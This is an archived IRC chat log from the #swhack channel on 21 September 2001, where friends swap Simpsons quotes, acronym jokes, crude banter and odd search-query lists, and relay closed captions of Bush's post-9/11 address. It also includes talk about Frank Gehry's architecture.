IRC log of swhack on 2001-09-21

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Users on #swhack: logster sbp tav eberg Morbus AaronSw deltab
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The espian vision includes taking over the physical world.
00:00:55 [AaronSw]
The Semantic Web (I don't think) is anything more than software.
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so far...
00:03:33 [AaronSw]
Mark Bernstein: "Hamlet needs to go back to school, get roaring drunk, and await his opportunity. -- veryone knows this. Nobody can say this: that's the tragedy. But what's to stop you?", http://www.markbernstein.org/talks/HT01.html
00:06:28 [sbp]
Does he ever talk about HyperText in his HyperText talks?
00:06:47 [AaronSw]
What do you think it's about?
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Hamlet
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* sbp remembers a Simpsons quote
00:07:10 [AaronSw]
He's discussing Hamlet in a hypertext context.
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Hang on, I'm getting a quote
00:07:31 [AaronSw]
You're always remembering a Simpsons quote...
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heh
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Bart: Dad, what are you doing here?
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Homer: Reading about this Edison character. They won't let me in
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the big people library downtown, there was some ...
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unpleasantness, I can never go back. Ooh! [reading a pop-up
00:08:15 [sbp]
book] Look at all the inventions Edison came up with: the
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stock ticker, the storage battery, even wax paper! And look
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at him dance!
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[Homer fiddles with levers on the sides of the book, moving
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Edison's legs. He does a little scat singing as musical
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accompaniment]
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And, these Hardy Boys books are great, too! This one's about
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smugglers!
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Bart: They're all about smugglers.
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Homer: No, not this one! "The Smugglers of Pirate Cove". It's
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about pirates.
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-- Homer Simpson for America's Libraries, "The Wizard of Evergreen
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Terrace"
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I couldn't be bothered to type it out
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http://www.snpp.com/episodes/5F21
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heh
00:09:07 [sbp]
and therefore, Mark Bernsteins quote was about Hamlet
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hmz, i loved the edison episode
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Homer: Go to your room and spank yourselves!
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i am in constant awe of da vinci
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So was Edison
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i fear however i will never be a da vinci, my inability to sing is spectacular
00:10:12 [AaronSw]
* AaronSw went to the Edison Insititue... interesting place, except the folks there knew nothing about Edison.
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Bummer
00:10:30 [tav]
some of my lovers even hate to hear me sing
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can you believe that?
00:10:39 [sbp]
yes
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:-)
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bitch!
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lol
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* sbp thinks back to the last time he was called a bitch
00:12:42 [tav]
so, what do you do for a living sbp?
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I quote the Simpsons
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pays well i take it
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In my spare time, I watch The Simpsons
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wow
00:13:41 [sbp]
doesn't pay at all, but it's good work
00:13:56 [AaronSw]
Who's Nelson?
00:14:02 [sbp]
:-)
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I think he's at Nelson's!!!
00:14:59 [AaronSw]
I mean the Nelson that there are books on.
00:15:00 [sbp]
Homer: Aw, I hate folding sheets. Marge: Those are your underpants. Homer: Well, whatever: it's a two man job. Where's Bart?
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books on?
00:15:42 [tav]
waterloo?
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south africa?
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Ted?
00:16:35 [AaronSw]
I was thinking Ted, but 1978 is a bit early...
00:16:57 [sbp]
Er... yes... O.K., then...
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* tav gives up trying to udnerstand
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* sbp too
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It's like in Chemistry
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chemistry?
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i loved chemistry
00:17:22 [sbp]
I used to go into rants of odd basis on a frequent basis
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odd basis?
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strange material?
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I used to go fairly nuts
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and our teacher would just go "yeah Sean... O.K., sure..."
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heh
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And I'd hang my head in shame and go "Aw..."
00:18:13 [AaronSw]
Ahh, apparently Lord Horatio Nelson.
00:18:16 [tav]
why in chemistry?
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'cause Chemistry kicked-ass
00:18:45 [sbp]
we had quite a young teacher, and she was more one of the students than the teachers :-)
00:18:52 [tav]
also known as admiral horatio nelson ;p
00:18:55 [AaronSw]
deltab seems to be in a tav-bashing mood today...
00:19:44 [deltab]
AaronSw: it's not just today :-)
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tav-basher!
00:19:48 [sbp]
lol
00:20:14 [AaronSw]
Well, it's good to see you have such a...frank...relationship with your employer. ;-)
00:20:57 [sbp]
what's the opposite of sychophancy? I never knew until deltab came along
00:21:03 [deltab]
heh
00:21:51 [sbp]
interesting: http://www.google.com/search?hl=en&q=Lillian+goes+to+the+wattle+shop
00:22:02 [Morbus]
i think i'll go play gran turisimo. i'm off.
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c'ya
00:22:10 [Morbus]
Morbus is now known as Morbus-GT3
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lol
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I used to play GT1 for hours... cool game
00:22:33 [Morbus-GT3]
yah. you have a ps2? it's insane.
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make your mind up, dude
00:23:23 [Morbus]
stupid alt-tab.
00:23:26 [sbp]
:-)
00:23:27 [Morbus]
Morbus is now known as Morbus-GT3
00:23:37 [Morbus-GT3]
well, if alt-tab listened to my thoughts instead of this stupid "in order" theory, i'd be much happier
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lol
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AaronSw: within esp, an open relationship is encouraged
00:24:02 [AaronSw]
oh, good. You suck, then. ;-)
00:24:06 [sbp]
lol
00:24:07 [AaronSw]
j/k
00:24:16 [Morbus-GT3]
hehe
00:24:21 [tav]
be prepared to back up statements though ;p
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e.g. my singing does sound really bad
00:24:46 [sbp]
sbp has changed the topic to: Come one, come all! It's tav bashing day. Marvel at the ways in which tav is bashed
00:24:54 [AaronSw]
Can you provide an MP3?
00:25:10 [tav]
heh
00:25:16 [sbp]
:-)
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i don't think i could bear to listen to that
00:25:43 [AaronSw]
But you're the one singing!
00:25:47 [AaronSw]
You just have to record.
00:26:15 [sbp]
Who's eberg?
00:26:26 [sbp]
Yo, eberg!
00:26:50 [AaronSw]
Well... he's an ex-VA employee who lives in New York and uses mutt and mailman.
00:27:10 [sbp]
Ah. Great
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* tav tries to figure out the context
00:27:41 [sbp]
or as my ex-Chemistry teacher would say: "yeah Aaron... O.K., sure..."
00:27:50 [tav]
heh
00:27:57 [AaronSw]
* AaronSw is just guessing from: *** on channels: #ex-va #mutt #swhack #mailman #xfree86 #nylug
00:28:15 [sbp]
:-)
00:28:57 [tav]
hmz
00:29:07 [tav]
how do you get your nicklist back in xchat?
00:29:21 [deltab]
click the arrow
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?
00:29:43 [deltab]
how did you lose it?
00:29:46 [AaronSw]
Eek: """Last night, someone called a Boston radio station to propose that the US deport all the "Middle Eastern" students at colleges and universities in the Boston area, because they might be terrorists. The host, Ted Sarandis (who is normally a sensible fellow) agreed that this might be a good idea.
00:29:48 [AaronSw]
Last night, someone called to worry that all the gas stations seem to be owned by "people like that", and perhaps they were all planning to blow them up. The Boston Globe reports that a convenience store in Somerville was set on fire by kids who (mistakenly) thought the owner was an Arab."""
00:30:03 [tav]
i took off all the menu / topic bars
00:30:08 [sbp]
Ekk indeed
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s/Ekk/Eek
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aha!
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found it
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Where was it? Under the sofa?
00:31:07 [tav]
if you right click, the full menu pops up, and user list is on there
00:31:22 [sbp]
so, not under the sofa?
00:32:07 [tav]
but, i did find a wonderful 2 pound coin under there yesterday
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wonderful golden coin
00:33:51 [sbp]
perhaps I use too many acronyms...
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http://www.google.com/search?hl=en&q=SW+URI+RDF+XHTML+XML
00:34:19 [tav]
lol
00:34:46 [AaronSw]
Ha, but you are not the http://www.google.com/search?q=acronym+king
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interesting
00:35:16 [AaronSw]
"I have won the World Acronymics Tournament eight times in nine years. The only time I didn¹t, well, it was because my glasses were broken and I couldn¹t read the writing from the overhead projector. "
00:35:18 [AaronSw]
Heh!
00:35:20 [sbp]
[[[(Technically, an acronym is a "word" that one can pronounce made from the first letter(s) of a phrase; e.g., RAM for Random Access Memory. Combinations not pronounced are really abbreviations; e.g., IBM for International Business Machines. For purposes of simplicity here we've combined the two under the acronym heading. You can tell the difference by looking at the pronunciation guide on each page. If it's pronounced like a word, it's an acronym
00:35:43 [AaronSw]
You didn't know that?
00:36:09 [AaronSw]
"""For example, Family Members I Don¹t Like But Can¹t Discard, I easily remember as FMIDLBCDs. And then Former Co-Workers Who Teased Me For My Obsession With Acronyms But Only Inspired Me To Do Better In The Hope That I Might Crush Them When I Gain Power are simply recorded in my mind as FCWTMFMOWABOIMTDBITHTIMCTWIGPs. You see, the trick to that one is to remember that ³co-worker² is represented not by a ³CW,² but by just a ³C.² """
00:36:16 [AaronSw]
- http://www.closetelvis.com/DMacronym.htm
00:37:56 [sbp]
yeah, I just read that
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:-)
00:38:07 [sbp]
didn't know: I don't think it's correct
00:38:27 [sbp]
"FMIDLBCD" isn't an acronym, but the acronym king thinks that it is
00:39:19 [tav]
heh
00:39:29 [tav]
how people like to argue over totally useless things
00:39:38 [sbp]
Pffffff, useless
00:40:14 [AaronSw]
Mark Bernstein: "It's interesting to see how popular Buffy is with the hypertext theory crowd; fine writing is the key."
00:40:20 [AaronSw]
* AaronSw doesn't watch Buffy.
00:40:26 [sbp]
Aw, really?
00:40:38 [AaronSw]
Really.
00:40:42 [tav]
!
00:40:56 [tav]
i watch 3 things on tv...
00:41:04 [AaronSw]
Ted Nelson's description of modern software as "like asking to paint, not with brushes, but with a cat. A live cat. With claws."
00:41:08 [tav]
buffy, angel, dark angel
00:41:22 [sbp]
dark angel? Hmm...
00:41:41 [AaronSw]
I don't watch any TV on a regular basis. Once in a while, someone will say -- come watch this, and I'll watch a bit.
00:41:50 [tav]
they started showing it 3 weeks ago here in the uk
00:42:27 [tav]
AaronSw: aye, if it weren't for deltab i'd miss most tv
00:42:33 [sbp]
It was longer ago than that
00:42:40 [AaronSw]
Why deltab?
00:42:44 [sbp]
they advertised it on Sky One for ages
00:43:05 [tav]
he's the telly addict
00:43:23 [sbp]
* sbp coins WFM
00:43:29 [tav]
wfm?
00:43:49 [sbp]
WFM, another new acronym!
00:43:57 [tav]
wasted female minds?
00:43:59 [sbp]
WFM, she's sexy
00:44:10 [sbp]
WFM, Aaron did become the W3C director
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WFM, why can't tav guess what "WFM" stand for?
00:44:39 [AaronSw]
Ahh, I get it.
00:44:46 [sbp]
:-)
00:44:47 [AaronSw]
Anytime, honey.
00:44:50 [sbp]
lol
00:45:08 [sbp]
* sbp runs, very quickly, in the opposite direction
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* AaronSw is practicing the "Just say yes." philosophy
00:45:15 [tav]
why fuck me?
00:45:24 [AaronSw]
s/why/well/
00:45:31 [sbp]
as you can tall, Aaron's philosophies leave a lot to be desired
00:45:37 [AaronSw]
lol
00:45:59 [sbp]
I'm always frightened of saying WFM, because of the responses it gets, but now... aha!
00:46:07 [tav]
heh
00:46:10 [sbp]
* sbp tries it out on another channel
00:46:35 [AaronSw]
Hmm, Mark Bernstein names his machines Hope, Patience and Faith.
00:46:41 [sbp]
debut:-
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* chillywilly gives thwaps with the trout all around
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* myrddian shoots Chillywilly with a railgun
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<myrddian> ZOOOP
00:46:42 [sbp]
<sbp> WFM, this is getting to be a weird conversation
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<chillywilly> WFM?
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<myrddian> How so SBP?
00:47:18 [sbp]
<tav> chillywilly!
00:47:18 [sbp]
<myrddian> Hey Tav
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* sbp is almost off of his chair with laughter
00:49:55 [AaronSw]
How does Mark Bernstein get such weird animals where he lives?
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an impressive debut of an impressive new acronym
00:50:08 [sbp]
weird animals? how so?
00:50:19 [AaronSw]
Tufted Titmice
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Bufflehead ducks
00:52:58 [Morbus-GT3]
Morbus-GT3 is now known as Morbus
00:53:20 [Morbus]
are you reading through the search word logs of disobey again?
00:53:35 [sbp]
* sbp wonders about http://www.acronymfinder.com/add.asp?acronym=WFM
00:54:28 [AaronSw]
search word logs?
00:54:58 [Morbus]
yeah, you know, what people found your site by in the search engines
00:55:18 [AaronSw]
I know... what's in them?
00:55:27 [Morbus]
all sorts of weirdo stuff.
00:55:33 [Morbus]
never cease to amaze me.
00:55:43 [Morbus]
lemme pull some good ones out
00:55:52 [AaronSw]
hot uncensored morbus?
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WFM
00:56:51 [Morbus]
pictures of inverted nipples
00:57:02 [Morbus]
a meat locker were they store meat inside
00:57:09 [Morbus]
pear pimples on hairy fishnuts
00:57:19 [sbp]
lol!
00:57:23 [AaronSw]
meat locker one is good
00:57:30 [Morbus]
they get worse.
00:57:37 [Morbus]
those are the popular results (3 or more) ;)
00:57:39 [sbp]
hairy fishnuts?
00:58:03 [Morbus]
ooh. how to make your dick bigger. i'm an expert on that apparently
00:58:17 [Morbus]
uncircumcised and airport.
00:58:23 [Morbus]
yeah, ok. that's an interesting combo
00:58:38 [Morbus]
i think i'll go play gran turisimo. i'm off.
00:58:43 [Morbus]
patton poor son of a bitch die for his country movie script
00:58:43 [sbp]
these heathen airports...
00:58:45 [Morbus]
stupid cut and paste
00:59:01 [Morbus]
heh. tic tac toe algorithm
00:59:09 [sbp]
s/heathen/gentile
00:59:10 [AaronSw]
Ooh, presidential address
00:59:14 [Morbus]
people who like to sniff monkey butts
00:59:30 [sbp]
I'm just wondering why these searches lead to your site
00:59:37 [Morbus]
south pacific virus spread due to volcano eruption
00:59:50 [Morbus]
i have talked about so much since 97, sbp...
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lol
01:00:11 [Morbus]
bwahaha.
01:00:16 [Morbus]
tender nutsacks
01:00:23 [Morbus]
man, that's a good one. i pity that man
01:00:34 [AaronSw]
<CC> >> PRESIDENT IS MAKING HIS
01:00:34 [AaronSw]
<CC> WAY NOW, TO THE CHAMBER HE
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<CC> WILL BE ANNOUNCED, BRIEFLY.
01:00:34 [sbp]
lol! what page of yours did that lead to, though?
01:00:52 [Morbus]
kamikazi eclipse body kit
01:00:53 [sbp]
ooh, what channel is that again, Aaron?
01:00:57 [Morbus]
why do women go to the washroom in pairs?
01:01:01 [AaronSw]
CNN_newsfeed
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irc://chat.cnn.com/CNN_Newsfeed
01:01:29 [Morbus]
so what's this announcement all about? or is he just gonna get all swelled with american pride again?
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wb
01:02:31 [Morbus]
thanks. apparently athena still crashes when you do multiserver connects
01:02:46 [sbp]
aha: http://www.google.com/search?q=site%3Adisobey.com+tender+nutsacks
01:02:51 [AaronSw]
Sean, did you submit WFM to acronymfinder?
01:03:31 [Morbus]
ah. heh
01:03:47 [sbp]
nope
01:04:11 [tav]
bbs
01:04:11 [AaronSw]
You should.
01:04:17 [AaronSw]
http://acronymfinder.com/add.asp?acronym=wfm
01:04:19 [Morbus]
i'm a loser. what's the /list syntax for min 3 users?
01:04:22 [sbp]
brb
01:05:00 [Morbus]
ooh. hey. no flood. nevermind
01:05:42 [sbp]
nah, nutsacks to it
01:06:00 [sbp]
* sbp feels his vocabulary growing day by day
01:06:10 [Morbus]
lol
01:06:19 [Morbus]
put it in your meat locker and smoke it
01:06:26 [sbp]
lol
01:07:50 [sbp]
How many acronyms have the exact second they were coined noted?
01:08:02 [sbp]
"00:43:23 <sbp> * sbp coins WFM" - http://blogspace.com/swhack/chatlogs/2001-09-21.txt
01:10:08 [AaronSw]
Huh?
01:10:13 [AaronSw]
Bush: <CC> AMERICA HAS NO TRUER FRIEND
01:10:13 [AaronSw]
<CC> THAN GREAT BRITAIN.
01:10:22 [Morbus]
uhhh.
01:11:11 [AaronSw]
Tony Blair came to the speech!
01:11:16 [sbp]
I guess that Tony Blair must be over there in that conference then?
01:11:18 [sbp]
yeah
01:11:28 [AaronSw]
Bush doesn't know his name.
01:12:04 [AaronSw]
Heh:
01:12:06 [AaronSw]
<CC> AMERICANS ARE ASKING, "WHO
01:12:06 [AaronSw]
<CC> TALKED OUR COUNTRY?"
01:12:21 [sbp]
<CC> AMERICANS HAVE MANY
01:12:21 [sbp]
<CC> QUESTIONS TONIGHT.
01:12:21 [sbp]
<CC> AMERICANS ARE ASKING, "WHO
01:12:21 [sbp]
<CC> TALKED OUR COUNTRY?"
01:12:26 [sbp]
what?
01:12:33 [sbp]
yeah, I just read the same thing :-)
01:13:17 [AaronSw]
Ooh, he fingers Osama Bin Laden.
01:13:36 [sbp]
yeah
01:13:55 [sbp]
and identifies their organization
01:15:42 [sbp]
wow:-
01:15:44 [sbp]
<CC> AND TONIGHT THE UNITED
01:15:45 [sbp]
<CC> STATES OF AMERICA MAKES THE
01:15:45 [sbp]
<CC> FOLLOWING DEMANDS ON THE
01:15:45 [sbp]
<CC> TALIBAN: DELIVER TO UNITED
01:15:45 [sbp]
<CC> STATES AUTHORITIES ALL THE
01:15:45 [sbp]
<CC> LEADERS OF AL-QAEDA WHO HIDE
01:15:47 [sbp]
<CC> IN YOUR LAND.
01:16:13 [AaronSw]
...
01:16:14 [AaronSw]
<CC> YOU CAN BE JAILED FOR OWNING
01:16:14 [AaronSw]
<CC> A TELEVISION.
01:16:18 [AaronSw]
Doesn't sound bad to me. ;-)
01:16:23 [sbp]
or having a short beard
01:16:45 [Morbus]
i need a grep or sed that will strip out all lines of an ip from a logfile.
01:16:51 [Morbus]
so that i can say "remove all localhost and 127 from this file"
01:16:56 [sbp]
[...]
01:16:57 [sbp]
<CC> THESE DEMANDS ARE NOT O NOT
01:16:57 [sbp]
<CC> OPEN TO NEGOTIATION OR
01:16:57 [sbp]
<CC> DISCUSS.
01:18:34 [AaronSw]
A redeeming quality:
01:18:44 [AaronSw]
<CC> THE ENEMY OF AMERICA IS NOT
01:18:44 [AaronSw]
<CC> OUR MANY MUSLIM FRIENDS.
01:18:44 [AaronSw]
<CC> IT IS NOT OUR MANY ARAB
01:18:44 [AaronSw]
<CC> FRIENDS.
01:20:59 [AaronSw]
...
01:21:00 [AaronSw]
<CC> POWER, THEY FOL IN THE PATH
01:21:00 [AaronSw]
<CC> OF FASCISM, NATSAM -- NATSISM
01:21:00 [AaronSw]
<CC> TOTALITARIAN SUPER BOWL WILL
01:21:33 [sbp]
what?:-
01:21:33 [sbp]
THEY FOL IN THE PATH
01:21:33 [sbp]
<CC> OF FASCISM, NATSAM -- NATSISM
01:21:33 [sbp]
<CC> TOTALITARIAN SUPER BOWL WILL
01:21:33 [sbp]
<CC> FOLLOW THAT PATH ALL THE WAY
01:21:33 [sbp]
<CC> TO WHERE IT ENDS
01:21:49 [sbp]
aw, man... how do you always get there before me?
01:22:00 [AaronSw]
My connection isn't as lagged, it seems.
01:22:07 [sbp]
we can't work out if it
01:22:17 [sbp]
s typed, or voice recognized
01:22:44 [AaronSw]
Ugh...
01:22:46 [AaronSw]
<CC> AMERICANS SHOULD NOT EXPECT
01:22:46 [AaronSw]
<CC> ONE BATTLE.
01:22:47 [AaronSw]
<CC> BUT A LENGTHY CAMPAIGN,
01:22:47 [AaronSw]
<CC> UNLIKE ANY OTHER WE HAVE
01:22:47 [AaronSw]
<CC> EVER SEEN.
01:23:11 [AaronSw]
Polarizing:
01:23:12 [AaronSw]
<CC> EITHER YOU ARE WITH US, OR
01:23:12 [AaronSw]
<CC> YOU ARE WITH THE TERRORISTS.
01:23:34 [sbp]
<CC> EVERY NATION AND EVERY
01:23:34 [sbp]
<CC> REGION NOW HAS DECISION TO
01:23:34 [sbp]
<CC> MAKE.
01:23:34 [sbp]
<CC> EITHER YOU ARE WITH US, OR
01:23:34 [sbp]
<CC> YOU ARE WITH THE TERRORISTS.
01:23:39 [sbp]
oh, damnit!
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Morbus has quit
01:23:46 [AaronSw]
look before you paste!
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01:23:59 [sbp]
gblmbglmgblmfr
01:24:36 [AaronSw]
Who's
01:24:37 [AaronSw]
<CC> PENNSYLVANIA'S TOM REGION.
01:24:37 [AaronSw]
?
01:24:41 [sbp]
Tom Region?
01:24:53 [sbp]
yeah, I was just thinking that, but I knew you'd paste it :-)
01:25:21 [AaronSw]
Sounds like ridge...rich on TV
01:26:07 [AaronSw]
Aww, shoot:
01:26:09 [AaronSw]
<CC> THE HOUR IS COMING WHEN
01:26:09 [AaronSw]
<CC> AMERICA WILL ACT, AND YOU
01:26:09 [AaronSw]
<CC> WILL MAKE US PROUD.
01:26:39 [sbp]
interesting: http://www.lovecalculator.com/love.php?name1=Niles+Crane&name2=Daphne+Moon
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01:27:53 [Morbus]
heh. i love osx.
01:28:05 [Morbus]
this stupid irc program didn't save my prefs, so i jumped into the pref file and edited it manually
01:28:11 [AaronSw]
You just seem unlucky.
01:28:24 [Morbus]
i know. i unno what my problem is
01:28:30 [sbp]
<CC> AMERICANS ARE ASKING WHAT IS
01:28:30 [sbp]
<CC> EXPECTED OF US?
01:28:30 [sbp]
<CC> I ASK YOU TO LIVE YOUR LIVES,
01:28:30 [sbp]
<CC> AND HUG YOUR CHILDREN.
01:28:43 [AaronSw]
I was just going to paste thart.
01:29:08 [sbp]
:-)
01:29:51 [AaronSw]
Central source of information: http://libertyunites.org/ says Bush.
01:29:56 [sbp]
<CC> INCONVENDLOENS MAY ACCOMPANY
01:30:00 [sbp]
?
01:30:12 [AaronSw]
Bush can't speak.
01:30:17 [sbp]
weird stenography
01:33:17 [sbp]
Pataki and Giuliani might be speaking now... well, they're there at least
01:33:35 [AaronSw]
They just sit in the audience.
01:33:49 [sbp]
A
01:33:50 [sbp]
h
01:33:56 [sbp]
Rebuild NYC?
01:34:13 [sbp]
I doubt they'll rebuild the WTC
01:34:50 [AaronSw]
I hope they put that Frank Gehry building up.
01:35:05 [sbp]
Frank Gehry?
01:35:20 [AaronSw]
You know... famous architect. Guggenheim Bilbao
01:35:35 [AaronSw]
He did a skyscraper for the NYTimes that looked like it was having convulsions.
01:35:38 [AaronSw]
They should put that up.
01:35:54 [sbp]
Hmm...
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01:40:25 [AaronSw]
Well, that was interesting.
01:40:37 [sbp]
yes
01:41:37 [sbp]
"(Matt) [GlobalSpam] niven.openprojects.net will be going down for a short period of maintainance shortly. It should be right back - thanks"
01:42:07 [AaronSw]
I meant Bush.
01:42:24 [sbp]
Yeah, I know
01:42:32 [AaronSw]
hmm, some guy is requesting a bunch of Arab RSS feeds...
01:42:44 [sbp]
on CNN?
01:42:47 [sbp]
:-)
01:42:53 [AaronSw]
heh
01:43:11 [sbp]
neat: http://www.google.com/search?q=WFM+%22well+fuck+me%22&hl=en
01:43:37 [AaronSw]
neat?
01:43:42 [sbp]
neat
01:43:50 [sbp]
WFM, no results!
01:44:08 [AaronSw]
Ahh, here's the proposed Gehry skyscraper: http://www.guggenheim.org/exhibitions/gehry/ny_times_31.html
01:44:15 [sbp]
ah, thanks
01:44:39 [AaronSw]
Some of his work is really beautiful.
01:45:11 [sbp]
Wow... weird
01:45:47 [sbp]
How's that supposed to work?
01:45:57 [AaronSw]
What do you mean?
01:46:08 [sbp]
Well, how does it work?
01:46:37 [AaronSw]
He's building <http://www.guggenheim.org/exhibitions/gehry/millenium_30.html> downtown.
01:46:41 [AaronSw]
It should be neat.
01:46:44 [sbp]
offices behind the twisty bits? Twisty offices?
01:47:36 [AaronSw]
I'd want a twisty office.
01:47:37 [sbp]
wow!
01:48:28 [sbp]
your filing cabinets would keep falling over
01:48:39 [sbp]
and where would you put the polar bear?
01:48:44 [AaronSw]
And they're building http://www.guggenheim.org/exhibitions/gehry/stat_28.html right by MIT. I walk the construction site whenever I'm in town.
01:48:54 [AaronSw]
Ooh, they're putting LCS in there!
01:49:03 [AaronSw]
Which office is TimBL's d'ya think?
01:49:05 [AaronSw]
;-)
01:49:23 [sbp]
:-)
01:50:12 [sbp]
the one on the left
01:52:42 [AaronSw]
I have this chair! http://www.guggenheim.org/exhibitions/gehry/furniture_01.html
01:53:03 [AaronSw]
It's apparently quite valuable nowadays.
01:53:42 [AaronSw]
They were selling a miniature model for like $100 at the Museum downtown.
01:54:03 [sbp]
blimey
01:55:34 [AaronSw]
Oh, and I thought this cafeteria was just great. http://www.guggenheim.org/exhibitions/gehry/condenast_22.html
01:55:42 [AaronSw]
I want to eat there!
01:58:44 [sbp]
Oh crap, another site seems to have vanished...
01:58:51 [sbp]
and I can'
01:58:54 [sbp]
t find
01:58:57 [sbp]
my cache of it
01:59:01 [AaronSw]
Use the archiver, man.
01:59:11 [sbp]
Ah... what URI?
01:59:20 [AaronSw]
No, I mean ArchiverProxy.
01:59:46 [sbp]
Oh... too late for that!
02:01:43 [sbp]
it's weird... it's totally vanished. No trace, even on my hard drive
02:02:02 [AaronSw]
Another mysterylights site?
02:02:07 [AaronSw]
oooh oooooh oooh
02:02:31 [Morbus]
slow down aaron, you're young still
02:02:39 [AaronSw]
Eh?
02:02:43 [Morbus]
heh. forget it
02:02:55 [AaronSw]
oh... heh
02:02:59 [Morbus]
heheheh
02:03:11 [sbp]
oooh oooooh oooh? do I detect sarcasm?
02:03:20 [AaronSw]
see, you really need the music to go along with it.
02:03:47 [AaronSw]
Ok... i'm going to shut my mouth now before anything else gets misinterpreted.
02:03:57 [Morbus]
lol
02:03:57 [sbp]
please do :-)
02:04:07 [sbp]
He he he
02:04:45 [sbp]
* sbp is still searching feverently for the non-existent site
02:05:01 [AaronSw]
Want me to try and Alexa it?
02:05:36 [sbp]
I doubt you'll find anything... I have no idea how I even found it, and my page is the only mention of it on Google
02:06:26 [AaronSw]
Morbus does dead sites, right Morby?
02:06:33 [Morbus]
yah.
02:06:39 [sbp]
"does"?
02:06:41 [Morbus]
i see dead sites
02:06:52 [sbp]
Well, it's: http://asms.k12.ar.us/armem/99-00/KnodJ/Index.htm
02:06:56 [AaronSw]
Ick, you got me all in Junior High mode, now, Morbus.
02:07:03 [Morbus]
bwahahaha.
02:07:12 [sbp]
can you Alexa it?
02:07:19 [AaronSw]
Heh, an Arkansas student.
02:08:22 [sbp]
Yes...
02:09:14 [AaronSw]
No luck...
02:09:16 [AaronSw]
Traffic: 1 star
02:09:26 [sbp]
Aw, man...
02:09:26 [AaronSw]
Links in: 121
02:09:34 [sbp]
Links in?
02:09:43 [AaronSw]
I think it means links pointing to that page.
02:09:49 [sbp]
Ooh! Do you have a list?
02:09:54 [AaronSw]
No.
02:09:59 [sbp]
Crud..
02:10:00 [sbp]
.
02:10:16 [AaronSw]
Did you ask Google?
02:10:24 [sbp]
I still can't find it in my archives! It's bizarre. I definitely cached it... ah, but we had a power cut
02:10:33 [sbp]
Google: of course
02:10:53 [sbp]
No, hang on... my computer definitely saved it
02:11:36 [AaronSw]
Total Alexa Visits: 95
02:12:10 [AaronSw]
Blogspace.com, on the other hand has 357 visits.
02:12:27 [sbp]
how about infomesh.net?
02:12:29 [AaronSw]
Disobey.com has a whopping 2,853
02:12:36 [Morbus]
w000t!
02:12:43 [Morbus]
:)
02:12:54 [AaronSw]
Infomesh.net beats them all, of course:
02:12:55 [AaronSw]
60
02:12:57 [Morbus]
i'm speshul
02:13:28 [AaronSw]
Yes, Morbus.
02:13:53 [AaronSw]
Heh, related links to http://infomesh.net/sbp/ -- http://www.w3.org/WAI
02:14:00 [sbp]
Heh
02:14:06 [sbp]
Gmgpmgmpgmgh: 60
02:14:10 [sbp]
try mysterylights.com
02:14:34 [AaronSw]
Whoa: 30
02:14:45 [AaronSw]
Links In: 1
02:15:27 [sbp]
WFM
02:15:44 [AaronSw]
Man, you need to install Alexa.
02:16:10 [AaronSw]
Huh???
02:16:11 [AaronSw]
<CC> ( school bell ringing )
02:16:11 [AaronSw]
<CC> HI!
02:16:11 [AaronSw]
<CC> BYE!
02:16:12 [AaronSw]
<CC> SHE'S NOT YOUR DAUGHTER.
02:16:12 [AaronSw]
<CC> BUT IF YOU GIVE HER
02:16:13 [AaronSw]
<CC> A RIDE HOME AFTER SCHOOL,
02:16:15 [AaronSw]
<CC> SHE MIGHT AS WELL BE.
02:16:36 [sbp]
Advert?
02:16:46 [Morbus]
i think i saw that previewed earlier
02:16:54 [Morbus]
its one of those things about being responsible for other people's kids or something
02:17:04 [Morbus]
scare tactic about all the shite that can go wrong probably
02:17:11 [Morbus]
and how some mom sued her best friend and won
02:17:44 [AaronSw]
Yuck.
02:18:07 [AaronSw]
Morbus, your Mom use Alexa or something?
02:18:21 [Morbus]
uh. i wouldn't know. haven't talked to her in years
02:19:23 [AaronSw]
Oh.
02:20:20 [sbp]
Hello?
02:20:28 [Morbus]
hey. why do you ask aar
02:20:28 [AaronSw]
what's up?
02:20:37 [sbp]
IE just crashed...
02:20:55 [AaronSw]
I was just joking about your high hit count, Morbus.
02:21:08 [Morbus]
oOoOOoooh...
02:21:14 [AaronSw]
You know, as in "a website only a mother could love".
02:21:26 [AaronSw]
;-0
02:21:27 [Morbus]
heh. nah, i don't need to inflate my numbers, loser;)
02:21:33 [sbp]
What's disobey.com about, anyway?
02:21:48 [AaronSw]
You.
02:21:52 [Morbus]
there's no guiding theme. "content for the discontented"
02:21:54 [sbp]
* sbp wonders if it might be easier to just *go* there
02:21:59 [Morbus]
prolly :)
02:22:05 [Morbus]
there's an about section and all that jazz
02:22:25 [sbp]
butt clevage: charming
02:22:34 [sbp]
s/clevage/cleavage
02:22:44 [AaronSw]
Does the TINAC collective have a website?
02:22:51 [Morbus]
that was posted by some canadian mojo. they prolly spell it that way up there
02:23:35 [sbp]
Wow, and I'm talking to the dude: http://www.disobey.com/about/morbus.shtml
02:23:43 [sbp]
that makes me feel special
02:23:43 [Morbus]
lol
02:23:50 [Morbus]
wanna know what makes me feel special?
02:23:55 [Morbus]
disobey.com/about/presspit.shtml
02:23:57 [Morbus]
:)
02:24:05 [Morbus]
2 months outta date though. hard to keep up
02:24:09 [sbp]
I though Nostradamus predicted "Mabbus"?
02:24:25 [Morbus]
well, as mentioned, i can't even find the original reference,
02:24:34 [Morbus]
but even if he didn't, the after effects of "disease" fit nicely
02:24:48 [AaronSw]
Yeah, when I first saw http://disobey.com/about/presspit.shtml I thought I was talking to some big famous Web dude. But then I found out you were just a regular jerk.
02:24:49 [sbp]
lol
02:24:57 [Morbus]
LOLLL...
02:25:00 [Morbus]
bwahaahha. ok. that rocked
02:25:37 [AaronSw]
* AaronSw wonders what's so funny
02:25:56 [AaronSw]
:-)
02:26:00 [sbp]
What kind of music do you like?
02:26:08 [Morbus]
you know, this is the funny thing
02:26:11 [sbp]
* sbp runs for cover
02:26:15 [Morbus]
i've just plain old come to expect that question, now
02:26:23 [Morbus]
MORE people ask me now then before ;)
02:26:35 [AaronSw]
than before what?
02:26:43 [sbp]
well, it's a bit daft tellign people *not* to ask. *Don't* push the red button
02:26:50 [Morbus]
the shiny red button
02:27:01 [Morbus]
the shiny candy like button
02:27:04 [sbp]
yeah... you just have to push it
02:27:11 [Morbus]
that beckons ever so beckoningly
02:27:17 [Morbus]
anyone remember space madness from ren and stimpy?
02:27:26 [AaronSw]
Hey, I love plain Success Rice!
02:27:34 [Morbus]
what, you chinese?
02:27:36 [Morbus]
:)
02:27:45 [AaronSw]
Ahh, Ren and Stimpy...
02:27:47 [Morbus]
actually, i haven't had it in so long i probably *do* like it now
02:28:19 [sbp]
Woo! I found the site on my Hard Drive...
02:28:32 [sbp]
ren and stimpy: I rmemeber the cow blowing up
02:29:00 [AaronSw]
* AaronSw apologizes if he's offended Morbus
